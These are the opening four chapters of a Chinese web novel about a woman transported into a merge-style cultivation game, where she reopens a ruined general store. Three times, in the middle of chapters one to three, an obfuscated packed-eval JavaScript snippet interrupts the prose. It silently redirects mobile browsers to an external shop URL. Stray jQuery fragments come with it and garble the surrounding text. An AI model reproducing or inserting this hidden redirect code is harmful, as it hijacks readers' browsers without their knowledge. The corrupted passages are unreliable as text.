《散修杂货铺》 1. 第 1 章 在大街上走着走着穿了是什么感觉? 就很突然! 事情是这样的,为了避开春节到来的高峰催婚期,苏芸决定旅游过年。 下车后拖着行李箱往酒店走时,周遭莫名其妙从车水马龙变成了古色古香的街巷。 如果她选的度假地是古城小镇,还没这么慌,关键是她特意选了温暖的海边城市过冬啊! 苏芸想拿出手机重新导航,才发现几分钟前用过的手机不翼而飞,连手里带轮的行李箱也悄然变成了一个手提编织箱,搭在行李箱上的羽绒服自然同样消失无踪。 百万特效的转场都不带这么丝滑的! 错愕之际,苏芸便发现两旁行人同时朝她注视过来。 这些人有穿上袄下裙、有穿大袖长衫的、也有穿齐胸长裙的,一时看不出此时具体年代,反而挺符合旅游古镇的复杂着装。 可他们目光中带着的探寻意味过于明显,连带整条街道似乎都变得异常安静,苏芸本能感觉到不安,压根不敢开口问路,下意识埋头朝前猛走。 没多久便走到小巷尽头,前方是连绵大山,大山脚下有一间满是岁月痕迹的古宅。 但好在这边没什么人,可以让苏芸停下来安心思考。 可仔细回想这一路的一切,她怎么也想不起变化到底是什么时候开始的。 苏芸低头打量自己,手上的东西虽然变了,但身上仍是长袖毛线衫、牛仔裤配短靴。 她走到小溪边,确认她仍然是她。 苏芸把编织箱放地上,箱子只是简单扣住,很容易打开,里边放着一套叠好的古装衣裙和一双绣花布鞋。 还没细看,就听前方‘吱呀’一声,那古宅的破败木门自动开了。 …… 请人入内的意味可以说相当明显了。 这是一幢纯木结构的两层古风小楼,看起来灰扑扑的历史很悠久,木制的屋顶、墙体、门、窗都有明显的腐烂破败之处。 此时半开的门露出一点昏暗的内部空间,仿佛随时有不知名存在蹦出来。 但凡看过几部恐怖电影的人都知道,这种地方绝对不能随便进去。 苏芸甚至刻意后退几步打算远离。 这时,一条以浅绿色为底、呈长条形的半透明对话框挡在她面前。 仿佛生怕她不看,对话框显示的同时,还有语音播报在她脑子里同步响起。 【在外游历的你经历了许多疲惫、迷茫、忧伤,几番思索后你决定回到家乡雾山小镇,继承父母开办的小杂货铺。】 苏芸:“……” 父母但凡真有个杂货铺绝不会留给她继承。 穿进系统经营文了? 【你顺利回到家乡,却发现家里的小杂货铺早就落败。】 【但这并未打击你的信心,反而让你变得更加坚定,你推开了杂货铺的大门……】 这句话结束后,对话框就一直停在眼前,似乎要等进去后才能触发下一步剧情。 苏芸轻:“……” 话又说回来,虽然可疑,但不进去怎么弄清楚到底发生了什么事呢? 苏芸收起编织箱小步过去,先在门外探了探,不见人影也没新的提示,便大胆踏入,进去时还顺手把半遮半掩的木门彻底推开了。 阳光彻底洒落进来,吹散屋内的湿冷,同时也将整个房间照得明亮,一下子给这间年久失修的老宅增添几分独特韵味。 苏芸的心情也被带得阳光起来:“这个梦我仿佛做过!” 哪个找过工作、当过牛马的年轻人没做过天降横财的美梦啊。 虽然她之前幻想的多是‘抱错回豪门’‘天降五百万’‘土豪花钱系统’此类,更想继承的是收租楼而不是杂货铺。 但杂货铺也不错,免费的房子还挑什么。 至于是不是阴谋……还能穿回去继续当牛马咋地? 苏芸干脆地看向对话框:“怎么经营?下一步提示呢?” 话未落音便听‘哐嘡’一声巨响。 苏芸惊得一下往前蹿了好远,等动静停下来回头看过去才发现木门不堪重负直接脱落了。 “……” 这都不是陈旧的问题,根本是一栋危楼吧! 【你意识到想让杂货铺重新开业不是容易的事,但你不会轻易放弃!】 【你准备好好探索杂货铺,或许能从父母遗留之物找到前路……】 明白了,确实应该先探索环境。 她把编织箱随手放在长桌上,开始环顾翻找。 这间杂货铺呈长方形,约莫五六十平,左右两侧是一样的布局,都是两张质朴的木椅中间配一张小圆桌,看起来是给客人使用。 只是现在木椅和圆桌都有缺胳膊少腿现象,目前是用不了啦。 而正对大门的位置放着一张弧形长桌,长桌约半人高,占据房间大半空间,这有点像柜台,只是比一般柜台要高大很多。 长桌后方是一整排到顶的置物架,置物架全是一个个敞开的小方格,只是现在空无一物,唯余灰烬和蛛网。 苏芸过去把长桌下方的抽屉一一打开,什么也没找到。 然后她在右侧角落发现通向二楼的木制楼梯,楼梯相对陡峭且没有踢面板,看起来不太安全。 苏芸沿着楼梯小心翼翼上去,楼上也是一个打通的开阔大单间。 房间里内侧有一张破旧窄小的光板木架床,床边放了张一面窄一面宽像是用树桩削出来的不规则小桌,靠门的墙边放了张只有一扇门的窄小立柜。 这明显是她以后住的地方。 宽敞倒是宽敞,就是没有厨房和卫生间。 她打开立柜,里边没有衣物,只有个破旧的船形小竹篮。 苏芸拿起竹篮,对话框忽然拉宽,播放了一段视频。 一对脸部被刻意模糊化的男女在小心推着个飘浮在半空的篮筐,而筐里装了个婴孩,孩子正哈哈直乐呵。 年轻女子很是苦恼:“她怎么还不睡啊?” 男子说:“爹爹给你变个戏法!” 男子把什么东西放在婴儿上方转悠,婴儿眼睛跟着那东西转,看着看着就慢慢睡着了。 【你看到幼时睡过的摇篮,唤醒了儿时的记忆,似乎想起了什么……】 你管婴儿时期叫儿时?一般正常人谁会记得襁褓时期的事吧? 但这种前置剧情,就没必要费脑子挑剔了。 苏芸走到床边抬头看了看,而后把树桩桌搬到床上,一路踩着床到桌上,伸手在屋梁上摸索一阵后,她发现了什么。 拿下来的是个一看就跟周围破败环境格格不入的精致锦盒。 在这样的环境下,锦盒竟然不染微尘,显然很不一般,打开里边有只漂亮的手镯。 这手镯由碧玉制成,其中一截有金属包裹,金属表层还有繁复华丽的雕纹,看着古朴又神秘。 这绝对是重要道具,苏芸毫不犹豫戴上。 玉镯一侧黄金雕刻部分顿时散发微弱光芒,她这才看出来黄金雕刻的似乎是某种异兽,而此刻异兽的眼眸部分闪烁着红光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563956|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按理说红光给人的感觉应该不好,可苏芸也不知道怎么想的,下意识就朝异兽眼睛按去。 手镯上方立刻浮现出一块大光屏,光屏与先前的对话框相类,都是浅绿半透明的底,只是面积更宽更大,约么有16寸。 而光屏中有一个正正方方横平竖直的棋盘格,格子大多被雾气环绕,看不真切,只有中间的几样东西半遮半掩地显露出来。 唯一能活动的只有一块碎木、一块碎石、一片叶子。 苏芸一下子就认出来了:“这不就是合成游戏嘛。” 她可没少用这种休闲小游戏打发时间,对比不熟悉的经营系统,合成游戏操作起来还更简单呢。 苏芸特别自然地坐在树墩桌上,手指熟练地在棋盘格上一顿点。 合成游戏的宗旨就是把一样的东西合在一块,初期合成时,还能破开被合成的格子周边的白雾,露出更多的可挪动空间。 她用碎木合成木块、木块合成大木块,大木块合成一块长方形的标准木板,木板最后合成了一块没有雕花、质朴的简易牌匾。 另外的碎石最终合成了一个用大大小小不规则石块拼凑而成的土色小人,而枯枝叶片则合成出一个带有面部五官的大树根。 到这一步,周围其他仍被白雾包裹的格子就动不了了。 苏芸挨个点这三个合成品。 石头人只要放在空旷区域就会自动蹦出小石块,但在蹦出八个小石块后就停止了,石人头顶还出现两小时的倒计时。 八个小石块最终合成一个由一大一小两块石头叠加而成的小小石人,便也没法动了。 点树桩会吐出枯枝,树枝最终会合成一个朴素简单的小花篮,再一点花篮,花篮会喷种子,这些种子没法继续合成。 一连吐出八枚种子后,花篮因为耗尽直接从棋盘格上消失了。 等点扁牌时,棋盘上直接弹出一个提示框。 【挂上牌匾意味着杂货铺重新开始营业,你是否做好了准备?】 当然! 不营业怎么收拾这危楼,今晚怎么休息。 她行李箱的洗漱用品和手机都没了,现在只能靠经营杂货铺生活下去。 确认后,牌匾脱离出小格子,在屏幕上放大,然后弹了弹便从棋盘上消失了。 【你顺利挂上牌匾,杂货铺正式开始营业。】 【恭喜你获得开业大礼包×1】 苏芸想到什么,噔噔噔下楼,跑到门外仰头一看,见先前棋盘里的牌匾果然挂在一楼顶的位置,很是惊奇了一下。 虽然这是常规游戏设定,但亲眼看到效果跟在手机里玩可不是一回事。 早知道刚刚应该到楼下来亲眼看着挂牌了。 她就地坐在门槛上,打开棋盘上方的礼包,礼包解锁放出两枚金元宝、两枚灵晶,一个呈深灰色、小小的像茶杯盖的东西。 与此同时,棋盘上的白雾也褪去稍许,露出了几个新格子。 苏芸接着点点点,杯盖合成小杯子,小杯子合成玉瓶……最终合出了一个高、窄、且细,像是葫芦瓶一般的存在,玉葫芦下方还有一团火焰。 一点这宝瓶,棋盘底部显示几个字:普通炼丹炉。 这炉子吐出的是褐色的像药渣一样的东西。 苏芸多点了炉子几下,把药渣两两合成一粒褐色的药丸,药丸又两两合成,变成一粒青绿色的药丸。 正准备再接再厉时,一个阴影忽然笼罩过来。 一个白发苍苍、身形微微佝偻的老婆婆说:“有清心丹?” 2. 第 2 章 很巧,刚刚合成出的青绿色药丸,名称就显示为清心丹。 【清心丹:可解除心绪混乱、异常等负面状态】 但一般合成游戏都是棋盘上方出现Q版小人,点确认提交就能完成交易,现实要怎么操作? 苏芸试探着点了点清心丹。 清心丹和先前的牌匾一样,从小格子蹦出放大,然后弹了弹消失,这回消失的丹药直接出现在她手里。 她看了看,把清心丹递给老婆婆。 老婆婆看着递过来的光秃秃、随意裸露在外的丹药,沉默片刻才伸手接过。 她先拿起丹丸认真闻了闻,而后严肃的面孔一下子舒展许多,颔首道:“不错,得你父母的真传了,看来杂货铺能再次红火起来。” 说完递给苏芸两个金元宝,人慢腾腾地走了。 一粒三级合成品的丹丸就能卖出两个金元宝,这游戏的货币体系很夸张哦。 如果能把这金元宝带回原来的世界,岂不就…… 还没想完,棋盘便自动散发一阵光芒,苏芸手里还没捂热的金元宝被棋盘直接吸进去了。 接着像是怕苏芸追究似的,棋盘一连弹出好些信息。 【恭喜你完成第一笔交易。】 【恭喜你获得交易奖励:工具宝箱×1、金币宝箱×1、灵力宝箱×1】 【恭喜你获得初级卡包×1】 【你从交易过程中感受到帮助他人的快乐,有所感悟,恭喜你进入启灵境。】 【启灵境:气感初生、灵气入体、滋养经脉。】 【恭喜你获得修行礼包:灵晶宝箱×1】 【杂货铺年久失修,清扫、修缮好才能引来更多客户,是否开始修缮铺面?】 当然要修,苏芸点击确定。 【修缮破旧的铺子不是那么容易,还好你召唤出了可靠的伙伴,只是这些伙伴需要一点点报酬……】 就见最开始合成的那个小小石人在格子里动了动,它扶着小格子的边界线像扶着栏杆一般,一步步沿着格子爬到了棋盘最上方。 棋盘上方有三个图标,一个由白、绿、蓝、红、黄五色旋转凝聚而成小圆珠,一个色泽如玉但形如棱柱的小玉璧,还有一个金元宝。 这应该是游戏的三大货币系统。 市面上合成游戏大同小异,都是这一套。 五色圆珠代表体力,在这里叫作灵力;玉璧可以补充灵力,也可以购物,这里叫灵晶;而金元宝就是杂货铺的经营货币。 灵力值满值是一百,如今被她消耗了大半,每三分钟恢复单位一,对比常规同类游戏,算慢的。 灵晶是可怜的零,金元宝刚刚收到两个,但是单位显示是二十。 然后苏芸眼睁睁看着小石人爬到金元宝旁边一拽就拽出一个金元宝,张开石头嘴一吞,金元宝背后的数字变成十。 “……” 再接着,小石人便从棋盘格里钻出来了。 它从光屏上直立身形,而后纵身一跃便跳到苏芸身上,又从她身上跳到地面,接着左右看看,十分机智地奔着跌落在地的木门过去。 老实说,现实看到这一幕多少有点诡异。 光屏里的一切画风与手游相类,是带着点古风的漫画,在格子里的小石人看着挺可爱,有点石矶娘娘被打散变小的既视感。 但眼睁睁看着小石头人钻出来,从二次元一下子蜕变成现实土块的模样,不至于掉熵值,至少期待值是有所下降的。 而后就见小石人不知道从哪里掏出工具,对着木门就是一顿敲打。 敲打过程中扬起大片灰尘,都看不清内里具体情况,苏芸起身远离这片尘雾。 等待的过程中,她也没闲着,先把其他宝箱一一打开。 工具宝箱开出两块铁片、一枚元宝、一枚灵晶,铁片最终合成一个下圆上窄的宽葫芦,葫芦底下同样带着团火焰,名称显示为“普通炼铁炉”。 点击炼铁炉喷出的是碎铁,碎铁能合成针继而合成铁钉,再多的,在没有客户的情况下,她就没浪费灵力值探索了。 而金币宝箱、灵力宝箱、灵晶宝箱再加上之前工具宝箱里得来的元宝和灵晶,最终合成出两个金元宝堆、一个灵晶堆和两个灵力团。 苏芸只点了元宝和灵晶,灵晶数从零变成了五十,金元宝增加了两百,至于灵力等消耗完再补充。 刚整理好这些,小石人已经工作效率很高地修复好了大门。 尘雾散开后,不到小腿高小石人站在门槛石昂首看她。 苏芸看看被重新安上的木门,“你是重新上漆了?” 这扇门变得明亮非常,跟另外半扇门放在一起,都不像一户的。 同时面板上又弹出一系列信息。 【恭喜你完成第一次装修任务,奖励:初级特殊宝箱×1初级惊喜宝箱×1】 【恭喜你完成今日签到任务: 挂上扁牌√奖励灵晶×5 开始营业√奖励抽奖券×1 修复杂货铺√奖励金元宝×10】 苏芸一边手唰唰唰地接收奖励,一边对着小石人道:“另外半扇门一起升级啊。” 小石人却拍了拍肚子,不动了。 苏芸:“……” 她点点元宝,却没法像格子里的东西那样直接取出来,便把光屏凑到小石人面前:“你自己拿吧。” 小石人畅通无阻地钻进棋盘格,毫不客气吞了个金元宝,才把另外半扇门也变得一样光亮。 “一个是修复加上漆,一个却只是上漆,却收一样的钱,你很坑啊。” 说话间,苏芸还试探着戳了戳小石人的脑袋,跟想象中石块梆硬冰冷且带着尘土的触感不同,硬是硬,但很光滑,还带着点低温。 小石人有点不高兴,背过身对着苏芸。 苏芸一把捞起小石人上楼:“金元宝都拿去,接下来先把二楼整理好,尤其是床。” 什么都没有今晚的住所更重要。 为了尽快布置好卧室,苏芸放下小石人,便返回楼下接着营业。 街上的人似乎得到了消息,门外陆陆续续地来了好些人。 经营游戏嘛,NPC都是自动上门的,苏芸也没有很在意。 一个大眼瘦弱的年轻人要了两粒辟谷丹,炼丹炉的二级合成物;一个穿着曲裾的温婉女子买了一条铁锁,炼铁炉的四级合成物;老婆婆又来了一次,要了一枚解毒丹,炼丹炉的四级合成物…… 忙完这一波,苏芸趁着没人的空隙先上楼给小石人补了一趟金元宝。 短短时间里,楼上已经大变模样。 不但像是被洗刷过一般干净整洁,地面坑坑洼洼的地方也被修补好。 简单的1.2单人木架床变成了1.5,床头还有简单的雕花,床上多了棕榈床垫,单立柜也变成了双门立柜。 可苏芸犹自不满足:“再继续,至少把被褥弄出来吧,柜子先不管。” 就一套衣服,暂时也用不上衣柜。 “还有卫生间要加紧!” 小石人却没继续吞元宝,而是叹口气,直接给她表演了一个原地消失。 苏芸看向面板,果不其然,小石人返回棋盘格里了,就在大石人旁边的格子里蹲着,像在埋头自闭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563957|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点它就弹出休息倒计时,休息时间也是两小时。 这就没办法了,苏芸重返楼下。 没多久来了一对双胞胎姐妹,她们一个要买炼丹炉八级合成物驻颜丹,一个要买炼铁炉六级合成物,一把宝刀。 这在初期算大订单了,两样东西不但耗光了之前所有积累的灵力团,还额外花十单位的灵晶充能才完成。 “小云你穿得好奇怪啊。” 拿到东西后,她们却没走,反而多说了几句。 “现在外面流行这么打扮了吗?” 剧情任务? 苏芸看着这对穿齐胸襦裙的小姐妹:“大概吧,你们还想要什么?” 小姐妹却只是看着她一笑:“不用啦,你都回来了,以后想买什么很方便的。” “就是啊,回来也不能再跑了。”说着她们笑嘻嘻的走了。 没任务啊!苏芸颇为失望看回,过了一会儿,才后知后觉想起,她们怎么知道她的名字。 苏芸在光屏上到处点,各种尝试后才在光屏角落找到了个人版面。 个人面板一个可可爱爱的Q版女孩正盘膝打坐,女孩duangduang的脸十分严肃,底下显示的ID名确实叫苏小云。 这是她小时候常用的ID名,很长一段时间里她玩什么游戏都用这个名,后来才用随机名。 莫非穿进以前玩的游戏了? 可市面上此类合成游戏,苏芸几乎都玩过,根本想不起来这具体是哪个游戏。 而且谁玩这种休闲游戏会看剧情啊,都是直接跳过,就算想起了也没用。 她点开个人面板下的游戏日志。 日志里有今天的经营记录,还附带客户基础信息,信息以人物小卡形式呈现。 苏芸想起来,之前还获得了几个卡包和抽卡券,抽卡券等攒齐十连再抽。 卡包打开全是人物卡,和谁交易得来的卡包打开就是关于谁的人物卡。 这种卡牌一般都是凑齐一套后才会有奖励,苏芸以前从来不会细看,但如今游戏照入现实嘛,她稍微看了看。 比如来了两次的老婆婆,一张卡是她手持剪刀正在剪纸的照片,背面有一段文字描述:纸婆婆是小镇上唯一的剪纸手艺人。 一张是她捂着胸口愁眉苦脸的样子:纸婆婆最近感到总心神不宁,似乎遭遇了烦心事。 这肯定有剧情任务,苏芸把所有卡包看过后,就纸婆婆的信息最有指向性。 刚好灵力耗光没事干,她打算去做个支线。 杂货铺跟街上的铺子朝向完全不一样,街上的铺子隔着小溪相对而立,唯有杂货铺横在巷子尽头,面向整条街。 纸婆婆家离杂货铺很近,刚好就是左手边第一家。 苏芸走近,就看到铺子支起的窗台下摆了个小桌案,桌案上放着些漂亮的剪纸。 有窗花,有生肖剪纸,有各种人物剪纸,还有更复杂的百鸟朝凤、龙凤呈祥……这手艺放到现代,绝对能达到非遗的程度。 她正想喊话进行交互,眼角余光忽然看到了什么。 苏芸扭头就见剪纸店旁边的铺子,周围包裹着数条粗壮巨大的半透明触角,见她看过来,那触角还扭曲蠕动着,似乎要伸过来。 苏芸瞪大眼睛,身体比脑子先一步反应过来,拔腿就往回跑! 她飞快回到杂货铺,唰的一下关上大门,接着又噔噔噔跑上二楼,把二楼卧室门也关上,再吃力地挪动立柜堵在门背后。 而后整个人缩在床边。 什么情况,这很不对劲! 苏芸打开面板,试图从中寻找答案。 3. 第 3 章 光屏始终没有给出答案,连剧情对话框在开始营业后除了奖励、提示之外,也很少弹出来了。 而什么都没找到的苏芸,居然以缩在床边的姿态直接睡过去了…… 胆小但心大。 不过睡一觉后,她似乎想起了些东西。 经营、装修、种田加妖的元素…… 苏芸先打开光屏,棋盘上方的灵力值才恢复一半,说明她只睡了两三个小时。 刚好大石头人和小石人也都休息好了,苏芸先合成出一个新的小石人,把两个小石人一块放出来继续升级卧室。 而后她先打开二楼临街的窗户,小心往外探去。 和一楼只有双开大门没有窗不同,二楼其中三面墙都有大窗户,临街的窗能将整条街巷尽收眼底。 街道地面以宽阔的青石板铺就,左右两边是各式各样的铺子,大部分铺子都如小杂货铺一样,一楼开店二楼住人,只是那些铺子看起来还没有杂货铺宽。 如果用基建游戏来比喻,那些铺子只占一个正方格,而杂货铺至少占了两个格子。 街道中间有一条浅浅的溪流,溪流尽头刚好停在杂货铺前方不远处,接着便往地下流动。 溪流很窄,成年人能直接抬腿跨到对面,小孩也能靠溪流中间隔安置的小石蹲往返两岸。 目光朝更远方看过去,街道和溪流都变得越来越宽,然后被一座拱桥彻底挡住了视野。 此时天色依旧明亮,估计她穿来时是这里的上午。 左手边第二家店铺外的巨大触角已经消失不见,倒是能看到稍远一点的地方,一个身后长着毛茸茸大尾巴的女孩正跟那对双胞胎姐妹说话。 说得开心时,女孩的尾巴还晃了晃,可三人面色都毫无异样。 苏芸轻轻合上窗,接着推开临山的那扇窗,往下看果然看到一个夹在山脚和楼房中的小院子。 确认后,她这才挪开立柜,开门下楼。 杂货铺的大门依然紧闭,因而一楼相对昏暗,她在货架处摸索一阵后,找到了一个不起眼的机关,顺利让架子自动平移挪开,露出通向后院的小门。 院子左边角落用石砖堆砌了个简陋的灶台,只是灶台坍塌了一半,也没有锅,周边甚至长出了杂草,显然暂时还用不了。 右边角落用树枝沿着山凹建了个稀疏的围栏,围栏里铺了些稻草,这是萌宠窝。 苏芸跨过围栏,在稻草里扒拉一番后顺利找到一枚宠物蛋。 这颗蛋外表带有奇异而熟悉的花纹,愈发加深了苏芸的猜测。 接着她又朝正对杂货铺的山坳处去,在一片爬山虎遮掩的背后,发现一个朝着地底延伸的山洞。 确定了,这游戏她确实玩过,还氪过金。 在她玩过的诸多手游中,是有一个画风与众不同,且以仙侠妖魔为背景的小游戏。 简单来说,这是个集齐了种田、经营、装修、抽卡、回合制等诸多热门玩法,将市面上各种流行元素揉在一起的典型套皮游戏。 且里边还添加了诸如消消乐、连连看、拼图、桌游叶子牌、合成棋盘、下棋等内置小游戏。 苏芸当时喜欢玩这游戏,除了这游戏画面精致,主要是想看看这游戏还能增加多少新鲜小游戏给她消磨时间。 虽然是玩了一段时间,但真不能怪她现在才发现穿进游戏的真相。 首先现实和二次元就有壁,且她那游戏的所有建筑早就升到最高等级——没错,不只是杂货铺,整条街都等着她去装修升级。 这种情况下,谁还能认出最初的木楼啊。 至于小石人……每次装修升级显示的都是过场动画,她直接切小屏幕干别的去了,压根没注意过这小东西。 想起了游戏出处,再仔细回想游戏剧情,emm…… 笑死,当初都是直接跳过,怎么可能想得起。 她甚至连游戏名都没记过,每次都是在小程序里找眼熟的游戏logo直接点进去。 游戏logo跟那颗蛋上的花纹一样,而爬山虎掩藏的山洞是挖矿任务点,挖矿不但能挖出各种材料、宝石,还有概率开出灵晶,算是游戏的重要福利点。 也因为这两点,她才真正确认自己穿进了游戏中。 但就算游戏套了个仙侠背景,本质上依然是以经营、种田为主的休闲小游戏,后期探山任务中的回合制战斗,也多是灵宠帮忙。 所以,哪怕镇上的居民多为非人生物,应该也不会太危险……吧? 讲道理,玩游戏时看到NPC戴着各色各样的耳朵和尾巴,只会觉得有趣、赏心悦目,可真身穿进游戏里,就没有那种欣赏的轻松心情了。 苏芸叹气,馅饼果然不是好捡的啊。 她打开光屏,虽然想起来这是之前玩过的游戏,可从手游转换成半真人半面板,这之间还是存在许多操作差异的。 譬如手机里,各个板块转换十分丝滑,而光屏里没有返回键和所谓的主页面。 她走到稻草窝旁边,“能不能跳关先孵灵宠?” 说完,光屏上的棋盘格才跳转成一个3×3的九宫格,每个小格子里都有一个小小的切图,切图明显是打乱状态。 简单的拼图小游戏,把打乱的切图调整成正确的方向就行。 苏芸几乎不动脑唰唰几下就拼好了,正确的拼图正是一张搭建好的萌宠窝图。 当图片拼好的那一刻,现实里的萌宠窝也随之出现变化,围栏不变,只是从山上伸出一截枝丫,枝丫上有一个用细碎树枝搭建的窝,之前地上的稻草被挪进树枝上的窝里。 苏芸把捡到的蛋放进窝里。 萌宠孵化需要半小时,早点发现是这个游戏的话,现在就不用再浪费时间了。 之前孵出的好像是一只能喷火的狼,也不知道这回能孵出什么。 她又来到坍塌的灶台前,喊了句:“我要修复厨房。” 光屏上的游戏这回变成了拼图版俄罗斯方块。 手动把各种异型方块拼凑在一起,消耗方块得分超过标准分,就算过关,同样有手就成。 她不喜欢玩大型联网游戏,太耗精力,也不爱玩对战类游戏,负担重,更喜欢玩这种不用动脑子就能放松的小游戏。 就因为玩多了此类游戏,才没能第一时间认出来。 厨房也被修复好了。 坍塌的石块重新砌好,灶台上还多出一口崭新的大锅,灶台后方则有一棵大叶树,一片片像扇子一样的树叶张开交叠,恰恰好形成厨房的棚子。 萌宠对应之后的探山和回合制战斗任务,而灶台则对应访客交友任务,所以可以这么操作。 但杂货铺的升级只能依靠合成经营得来的金元宝和小石人。 老实说,苏芸之前以为纯靠金元宝,压根不知道其中小石人还出力了。 接着她目光看向杂乱的院子,正做打算还没开口,面板便自动变换出院子的画面。 由此可见,光屏并非语音操控,更像是随心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563958|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触发,只是思维要更集中。 她伸手点击画面上的杂草和石块,却弹出一个提示框。 【石精正在装修杂货铺,分身乏术。】 这里居然也是小石人整理出来的吗? 她只记得把院子中的碎石和杂草收拾出来,能开出一片片田地,等种植收获时,会有打地鼠一类游戏。 但真不记得前期拾掇田地也是靠小石人。 苏芸便走到灶台背后,这里有一条石板搭建的通向山间小路。 此刻小路只显露几个台阶,再往上就被一片白雾阻拦。 苏芸看向光屏,光屏显示出整个山脉的画面,但她点击伐木时,石精分身乏术的提示再度弹了出来。 伐木也是靠石精? 根据游戏设定,这整片后山都是她将来的任务场地,伐木、清理碎石,既能清理出进山的路,也能获得一定的材料。 前期局部维修只需要金元宝,后期建筑整体升级,需要的材料就很多了 可她记得,手游里明明代表她的Q版小人抡起斧子吭哧吭哧伐木啊。 记忆偏差,还是因为穿进游戏里有所改动? 这算穿越福利还是坑啊? 这样一来,小石人的重要性成倍提升了。 之前玩这游戏的时候,没觉得有这么多阻碍啊,苏芸仔细回想,才想起,按照任务线,她应该先把杂货铺全部装修好,才能开启后院线。 现在由于她手动跳关,石精当然不够用。 但这会儿,她既不想继续营业直面外边的非人生物,又不想在这儿干等浪费时间。 苏芸左右看看,见灶台旁边放了些工具,有锄头有斧头还有菜刀,她干脆拎起锄头走到院中央。 玩游戏时手伸不进屏幕里,只能按照游戏设定按部就班地操作,都亲身穿过来了,还不能自己动手? 苏芸抡起锄头对着院子里的碎石、杂草一顿操作。 片刻后,她扶着腰气喘吁吁,紧接着便感觉到明显的饥饿感。 不动手都不知道自己这么废! 但她还是坚持继续,又抡了几下锄头,才蹲下把挖出来的石块和草根捡起扔到一边,半晌才勉强收拾出一小片干净的土地。 苏芸打开面板,想取出种子时,发现棋盘格上方的灵力值不升反降了。 “……”明白了,以后不能随便自不量力地亲自动手,还就得按照游戏设定来。 她让光屏显示院子,可画面中没显示出任何可种植土地……这是说她整理出来的地方压根没达到可种植标准? 苏芸不死心地返回棋盘格,试图取出种子直接手动完成种植,可种子却没能弹出来。 玩游戏时,确实直接按住田地,就能一键种植、洒水、收获,可你都游戏照进现实了,就不能灵活一点吗? 苏芸各种尝试后依旧不能成,才彻底歇菜。 她一屁股坐在后门门槛石,只觉得又渴又累,双手也因为劳作弄得脏兮兮。 但洗漱间还没升级出来,后院的水井也还没开出来,现在真是穷途末路。 要壮着胆继续开门营业? 等等,苏芸想起什么再度打开棋盘,戳了几下炼丹炉,合成了一枚褐色丹丸,看底下信息确实是辟谷丹。 她记得今天卖出过这玩意。 苏芸随意拍了拍手,顾不得手脏便取出了丹丸。 幸好,这回很顺利地取出来了。 她看了看褐色丹丸,大胆吃了下去。 4. 第 4 章 不知道大家有没有吃过乌鸡白凤丸,苏芸小时候好奇咬过。 这玩意跟那玩意差不多,黏糊、难嚼,好在没有明显的中药味。 可等艰难咽下去后,她便感觉到一股暖流在腹部一闪而过,饥饿的肠胃不难受了,酸痛的双手也有劲了。 辟谷丹果然神奇,就是口感和想象中完全不一样,服用方式也不高大上! 这种仙丹不应该入口即化吗?怎么还需要费力咀嚼呢? 果然垃圾游戏就是比不得真正的修真出品! 苏芸已因(以为)身陷危局,对游戏粉转黑! 但至少不用担心饿死了。 她看向棋盘。 劳动消耗体力会导致灵力值下降,可吃饱后恢复了体力却并没让灵力有所上升。 有点不公平,但问题不大。 在没有顾客下订单的前提下,能随意取出棋盘的合成物且使用,那她完全能一直关起门过日子啊。 街上的非人生物再厉害,总不能跑到杂货铺里伤害她……吧? 而且棋盘后续产出的合成物会越来越多。 具体有哪些记不清了,玩的时候都是看图点,谁还会去记名称啊。 但有印象的,好像有毛笔、饰品……衣服? 大概其吧! 真的记不清了,要是早知道注定穿进这款游戏里,她不说把游戏剧情背得滚瓜烂熟,至少不会乱玩其他同类游戏,混淆记忆。 总归有很多。 但苏芸很快想起来,不管棋盘会出哪些能用上的东西,都得升级后慢慢开出来,而升级逃不开经营。 苏芸手指无意识地在光屏上扒拉来扒拉去,像极了以往无聊玩手机但又不知道玩什么,就到处乱划拉坚持不肯睡的时候。 直到她意外划拉回了个人页面,再次看到那个Q版小人。 大头圆脸的小人是挺可爱,但看不出跟她一分相似之处,所以干嘛把她拉进来啊。 她没忍住戳了戳小人,也不知道戳到哪里,光屏自动放了一段视频。 还是那对面目模糊的男女,他们手里拢着什么神神秘秘给一个约莫两三岁的孩童看:“看到了吗?” “亮、亮晶晶!” “对啦!”父母笑着道:“以后跟亮晶晶玩哟。” “好……” 【你想起了父母当年的教导,你从中有所领悟。】 苏芸眨眨眼,有什么东西在脑海中一闪而过,而后才从一种介乎于茫然和清明之间的状态脱离出来。 她看向光屏,惊讶地发现灵力值直接满了。 这不是看广告送福利么。 先前找不到商城系统和氪金入口,还以为广告福利和每日免费礼包这些都没了呢。 苏芸立刻对着Q版小人一顿连戳。 